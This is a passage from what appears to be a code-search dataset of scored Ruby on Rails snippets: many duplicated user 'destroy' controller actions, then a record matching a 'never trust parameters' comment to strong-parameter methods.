"0.7250935", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "d3a4b50114274c5e32c86fee540d5fd2", "score": "0.7250935", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "d3a4b50114274c5e32c86fee540d5fd2", "score": "0.7250935", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "6420c61a8f44adb55dac7052ccd00aa4", "score": "0.7245172", "text": "def destroy\n @user = User.find(params[:id])\n\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a3555514a8c25eb906e0889f6912510b", "score": "0.7242216", "text": "def destroy\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" } ]
c657de4b70d266e9a3a784b999ea9e60
Never trust parameters from the scary internet, only allow the white list through.
[ { "docid": "1a21b66f10733545748afb4c36f79f45", "score": "0.0", "text": "def sub_group_params\n params[:sub_group].permit(:label,:description)\n end", "title": "" } ]
[ { "docid": "3663f9efd3f3bbf73f4830949ab0522b", "score": "0.7497761", "text": "def whitelisted_params\n super\n end", "title": "" }, { "docid": "13a61145b00345517e33319a34f7d385", "score": "0.6959097", "text": "def strong_params\n params.require(:request).permit(param_whitelist)\n end", "title": "" }, { "docid": "c72da3a0192ce226285be9c2a583d24a", "score": "0.692353", "text": "def strong_params\n params.require(:post).permit(param_whitelist)\n end", "title": "" }, { "docid": "3d346c1d1b79565bee6df41a22a6f28d", "score": "0.68948716", "text": "def strong_params\n params.require(:resource).permit(param_whitelist)\n end", "title": "" }, { "docid": "aa06a193f057b6be7c0713a5bd30d5fb", "score": "0.67868835", "text": "def strong_params\n params.require(:listing).permit(param_whitelist)\n end", "title": "" }, { "docid": "f6060519cb0c56a439976f0c978690db", "score": "0.6743783", "text": "def permitted_params\n params.permit!\n end", "title": "" }, { "docid": "fad8fcf4e70bf3589fbcbd40db4df5e2", "score": "0.6683783", "text": "def allowed_params\n # Only this one attribute will be allowed, no hacking\n params.require(:user).permit(:username)\n end", "title": "" }, { "docid": "b453d9a67af21a3c28a62e1848094a41", "score": "0.66382086", "text": "def strong_params\n params.require(:kpi).permit(param_whitelist)\n end", "title": "" }, { "docid": "2c8e2be272a55477bfc4c0dfc6baa7a7", "score": "0.66306925", "text": "def strong_params\n params.require(:community_member).permit(param_whitelist)\n end", "title": "" }, { "docid": "1685d76d665d2c26af736aa987ac8b51", "score": "0.662678", "text": "def permitted_params\n params.permit!\n end", "title": "" }, { "docid": "77f5795d1b9e0d0cbd4ea67d02b5ab7f", "score": "0.6564486", "text": "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "title": "" }, { "docid": "cc1542a4be8f3ca5dc359c2eb3fb7d18", "score": "0.6492189", "text": "def strong_params\n params.require(:message).permit(param_whitelist)\n end", "title": "" }, { "docid": "e291b3969196368dd4f7080a354ebb08", "score": "0.6478776", "text": "def permitir_parametros\n \t\tparams.permit!\n \tend", "title": "" }, { "docid": "2d2af8e22689ac0c0408bf4cb340d8c8", "score": "0.6454948", "text": "def allowed_params\n params.require(:user).permit(:name, :email)\n end", "title": "" }, { "docid": "236e1766ee20eef4883ed724b83e4176", "score": "0.6401308", "text": "def param_whitelist\n [\n :name,\n :tagline, :contact, :summary, :stage,\n :website, :facebook, :twitter, :linkedin, :github,\n :founded_at,\n community_ids: [],\n sectors: [\n :commercial,\n :social,\n :research\n ],\n privacy: [\n contact: [],\n kpis: []\n ],\n permission: [\n listings: [],\n profile: [],\n posts: [],\n kpis: []\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "title": "" }, { "docid": "b29cf4bc4a27d4b199de5b6034f9f8a0", "score": "0.6383915", "text": "def safe_params\n params\n .require( self.class.model_class.name.underscore.to_sym )\n .permit( self.class.params_list )\n end", "title": "" }, { "docid": "bfb292096090145a067e31d8fef10853", "score": "0.6364847", "text": "def param_whitelist\n whitelist = [\n :title, :description, :skills,\n :positions, :category, :salary_period,\n :started_at, :finished_at,\n :deadline,\n :salary_min, :salary_max, :hours,\n :equity_min, :equity_max,\n :privacy,\n :owner_id, :owner_type,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n unless action_name === 'create'\n whitelist.delete(:owner_id)\n whitelist.delete(:owner_type)\n end\n \n whitelist\n end", "title": "" }, { "docid": "6bf3ed161b62498559a064aea569250a", "score": "0.6339486", "text": "def require_params\n return nil\n end", "title": "" }, { "docid": "b4c9587164188c64f14b71403f80ca7c", "score": "0.63367784", "text": "def sanitize_params!\n request.sanitize_params!\n end", "title": "" }, { "docid": "b63e6e97815a8745ab85cd8f7dd5b4fb", "score": "0.6327355", "text": "def excluded_from_filter_parameters; end", "title": "" }, { "docid": "38bec0546a7e4cbf4c337edbee67d769", "score": "0.63199055", "text": "def user_params\n # Returns a sanitized hash of the params with nothing extra\n params.permit(:name, :email, :img_url, :password)\n end", "title": "" }, { "docid": "37d1c971f6495de3cdd63a3ef049674e", "score": "0.63157535", "text": "def param_whitelist\n whitelist = [\n :name,\n :overview,\n :website, :facebook, :twitter,\n :privacy,\n :avatar_id, :community_id, :category_ids,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n unless action_name === 'create'\n whitelist.delete(:community_id)\n end\n \n whitelist\n end", "title": "" }, { "docid": "5ec018b4a193bf3bf8902c9419279607", "score": "0.6315646", "text": "def user_params # contains strong parameters\n params.require(:user).permit(:name, :email, :password,\n :password_confirmation)\n # strong parameters disallows any post information that is not permitted (admin security) when signing_up\n # so not all users will get admin access by hacking params using curl\n end", "title": "" }, { "docid": "91bfe6d464d263aa01e776f24583d1d9", "score": "0.63072646", "text": "def permitir_parametros\n params.permit!\n end", "title": "" }, { "docid": "e012d7306b402a37012f98bfd4ffdb10", "score": "0.6302784", "text": "def strong_params\n params.require(:team).permit(param_whitelist)\n end", "title": "" }, { "docid": "157e773497f78353899720ad034a906a", "score": "0.63014424", "text": "def white_list_params\n params.require(:white_list).permit(:ip, :comment)\n end", "title": "" }, { "docid": "8c384af787342792f0efc7911c3b2469", "score": "0.62963384", "text": "def whitelisted_vegetable_params\n params.require(:vegetable).permit(:name, :color, :rating, :latin_name)\n end", "title": "" }, { "docid": "0f69d0204a0c9a5e4a336cbb3dccbb2c", "score": "0.62926376", "text": "def allowed_params\n params.permit(:campaign_id,:marketer_id,:creator_id,:status)\n end", "title": "" }, { "docid": "0f69d0204a0c9a5e4a336cbb3dccbb2c", "score": "0.62926376", "text": "def allowed_params\n params.permit(:campaign_id,:marketer_id,:creator_id,:status)\n end", "title": "" }, { "docid": "9b76b3149ac8b2743f041d1af6b768b5", "score": "0.6279224", "text": "def filter_params\n params.permit(\n\t\t\t\t:name,\n\t\t\t\t:sitedefault,\n\t\t\t\t:opinions,\n\t\t\t\t:contested,\n\t\t\t\t:uncontested,\n\t\t\t\t:initiators,\n\t\t\t\t:comments,\n\t\t\t\t:following,\n\t\t\t\t:bookmarks,\n\t\t\t\t:lone_wolf,\n\t\t\t\t:level_zero,\n\t\t\t\t:level_nonzero,\n\t\t\t\t:private,\n\t\t\t\t:public_viewing,\n\t\t\t\t:public_comments,\n\t\t\t\t:has_parent,\n\t\t\t\t:has_no_parent,\n\t\t\t\t:today,\n\t\t\t\t:last_week,\n\t\t\t\t:last_month,\n\t\t\t\t:last_year,\n\t\t\t\t:sort_by_created_at,\n\t\t\t\t:sort_by_updated_at,\n\t\t\t\t:sort_by_views,\n\t\t\t\t:sort_by_votes,\n\t\t\t\t:sort_by_scores,\n\t\t\t\t:who_id)\n end", "title": "" }, { "docid": "603f4a45e5efa778afca5372ae8a96dc", "score": "0.62757707", "text": "def param_whitelist\n [:role]\n end", "title": "" }, { "docid": "f6399952b4623e5a23ce75ef1bf2af5a", "score": "0.6269529", "text": "def allowed_params\n\t\tparams.require(:password).permit(:pass)\n\tend", "title": "" }, { "docid": "505e334c1850c398069b6fb3948ce481", "score": "0.62567", "text": "def sanitise!\n @params.keep_if {|k,v| whitelisted? k}\n end", "title": "" }, { "docid": "37c5d0a9ebc5049d7333af81696608a0", "score": "0.62548006", "text": "def safe_params\n\t\tparams.require(:event).permit(:title, :event_date, :begti, :endti, :comments, :has_length, :is_private)\n\tend", "title": "" }, { "docid": "6c4620f5d8fd3fe3641e0474aa7014b2", "score": "0.6252669", "text": "def white_listed_parameters\n params\n .require(:movie)\n .permit(:title, :description, :year_released)\n end", "title": "" }, { "docid": "d14bb69d2a7d0f302032a22bb9373a16", "score": "0.6235264", "text": "def protect_my_params\n return params.require(:photo).permit(:title, :artist, :url)\n\tend", "title": "" }, { "docid": "d370098b1b3289dbd04bf1c073f2645b", "score": "0.62297153", "text": "def allow_params\n params.permit(:id, :email, :password)\n end", "title": "" }, { "docid": "78cbf68c3936c666f1edf5f65e422b6f", "score": "0.62293446", "text": "def whitelisted_user_params\n if params[:user]\n params.require(:user).permit(:email, :username, :password)\n else\n { :email => params[:email],\n :username => params[:username],\n :password => params[:password] }\n end\nend", "title": "" }, { "docid": "5629f00db37bf403d0c58b524d4c3c37", "score": "0.6228268", "text": "def filtered_params\n params.require(:user).permit(:name, :email, :password, :password_confirmation)\n end", "title": "" }, { "docid": "fde8b208c08c509fe9f617229dfa1a68", "score": "0.62278867", "text": "def strong_params\n params.require(:thread).permit(param_whitelist)\n end", "title": "" }, { "docid": "d38efafa6be65b2f7da3a6d0c9b7eaf5", "score": "0.6199469", "text": "def roaster_params\n # Returns a sanitized hash of the params with nothing extra\n params.permit(:name, :email, :img_url, :password_digest, :address, :website, :phone, :latitude, :longitutde, :description)\n end", "title": "" }, { "docid": "d724124948bde3f2512c5542b9cdea74", "score": "0.6191168", "text": "def alpha_provider_params\n params.require(:alpha_provider).permit!\n end", "title": "" }, { "docid": "d18a36785daed9387fd6d0042fafcd03", "score": "0.6182722", "text": "def white_listed_parameters\n params\n .require(:company)\n .permit(:company_name, :company_avatar)\n end", "title": "" }, { "docid": "36956168ba2889cff7bf17d9f1db41b8", "score": "0.6182267", "text": "def set_param_whitelist(*param_list)\n self.param_whitelist = param_list\n end", "title": "" }, { "docid": "07bc0e43e1cec1a821fb2598d6489bde", "score": "0.6164098", "text": "def accept_no_params\n accept_params {}\n end", "title": "" }, { "docid": "fc4b1364974ea591f32a99898cb0078d", "score": "0.61618495", "text": "def request_params\n params.permit(:username, :password, :user_id, :status, :accepted_by, :rejected_by)\n end", "title": "" }, { "docid": "13e3cfbfe510f765b5944667d772f453", "score": "0.6157139", "text": "def admin_security_params\n params.require(:security).permit(:name, :url, :commonplace_id)\n end", "title": "" }, { "docid": "84bd386d5b2a0d586dca327046a81a63", "score": "0.61549145", "text": "def good_params\n permit_params\n end", "title": "" }, { "docid": "b9432eac2fc04860bb585f9af0d932bc", "score": "0.6136374", "text": "def wall_params\n params.permit(:public_view, :guest)\n end", "title": "" }, { "docid": "f2342adbf71ecbb79f87f58ff29c51ba", "score": "0.61344707", "text": "def housing_request_params\n params[:housing_request].permit! #allow all parameters for now\n end", "title": "" }, { "docid": "8fa507ebc4288c14857ace21acf54c26", "score": "0.61201715", "text": "def strong_params\n # to dooo\n end", "title": "" }, { "docid": "fc43ee8cb2466a60d4a69a04461c601a", "score": "0.61165285", "text": "def check_params; true; end", "title": "" }, { "docid": "fc43ee8cb2466a60d4a69a04461c601a", "score": "0.61165285", "text": "def check_params; true; end", "title": "" }, { "docid": "9292c51af27231dfd9f6478a027d419e", "score": "0.61137617", "text": "def domain_params\n params[:domain].permit!\n end", "title": "" }, { "docid": "a3aee889e493e2b235619affa62f39c3", "score": "0.6110123", "text": "def user_params\n params.permit(:full_name, :email, :job, :about, :max_search_distance,\n :website_url, :linkedin_url,\n :behance_url, :github_url, :stackoverflow_url)\n end", "title": "" }, { "docid": "585f461bf01ed1ef8d34fd5295a96dca", "score": "0.6104934", "text": "def param_whitelist\n whitelist = [\n :message,\n :privacy,\n :author_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:author_id)\n end\n \n whitelist\n end", "title": "" }, { "docid": "585f461bf01ed1ef8d34fd5295a96dca", "score": "0.6104934", "text": "def param_whitelist\n whitelist = [\n :message,\n :privacy,\n :author_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:author_id)\n end\n \n whitelist\n end", "title": "" }, { "docid": "b63ab280629a127ecab767e2f35b8ef0", "score": "0.6099036", "text": "def params\n @_params ||= super.tap {|p| p.permit!}.to_unsafe_h\n end", "title": "" }, { "docid": "b63ab280629a127ecab767e2f35b8ef0", "score": "0.6099036", "text": "def params\n @_params ||= super.tap {|p| p.permit!}.to_unsafe_h\n end", "title": "" }, { "docid": "677293afd31e8916c0aee52a787b75d8", "score": "0.6086076", "text": "def newsletter_params\n params.permit!.except(:action, :controller, :_method, :authenticity_token)\n end", "title": "" }, { "docid": "e50ea3adc222a8db489f0ed3d1dce35b", "score": "0.60850567", "text": "def params_without_facebook_data\n params.except(:signed_request).permit!.to_hash\n end", "title": "" }, { "docid": "b7ab5b72771a4a2eaa77904bb0356a48", "score": "0.60846716", "text": "def search_params\n params.permit!.except(:controller, :action, :format)\n end", "title": "" }, { "docid": "b2841e384487f587427c4b35498c133f", "score": "0.6081648", "text": "def allow_params_authentication!\n request.env[\"devise.allow_params_authentication\"] = true\n end", "title": "" }, { "docid": "3f5347ed890eed5ea86b70281803d375", "score": "0.6075045", "text": "def user_params\n params.permit!\n end", "title": "" }, { "docid": "0c8779b5d7fc10083824e36bfab170de", "score": "0.6068067", "text": "def white_base_params\n params.fetch(:white_base, {}).permit(:name)\n end", "title": "" }, { "docid": "a3dc8b6db1e6584a8305a96ebb06ad21", "score": "0.60673714", "text": "def need_params\n end", "title": "" }, { "docid": "7646659415933bf751273d76b1d11b40", "score": "0.6067284", "text": "def whitelisted_observation_params\n return unless params[:observation]\n\n params[:observation].permit(whitelisted_observation_args)\n end", "title": "" }, { "docid": "fa0608a79e8d27c2a070862e616c8c58", "score": "0.60668314", "text": "def vampire_params\n # whitelist all of the vampire attributes so that your forms work!\n end", "title": "" }, { "docid": "4f8205e45790aaf4521cdc5f872c2752", "score": "0.60641295", "text": "def search_params\n params.permit(:looking_for, :utf8, :authenticity_token, :min_age,\n :max_age, :sort_by, likes:[])\n end", "title": "" }, { "docid": "c436017f4e8bd819f3d933587dfa070a", "score": "0.6063739", "text": "def filtered_parameters; end", "title": "" }, { 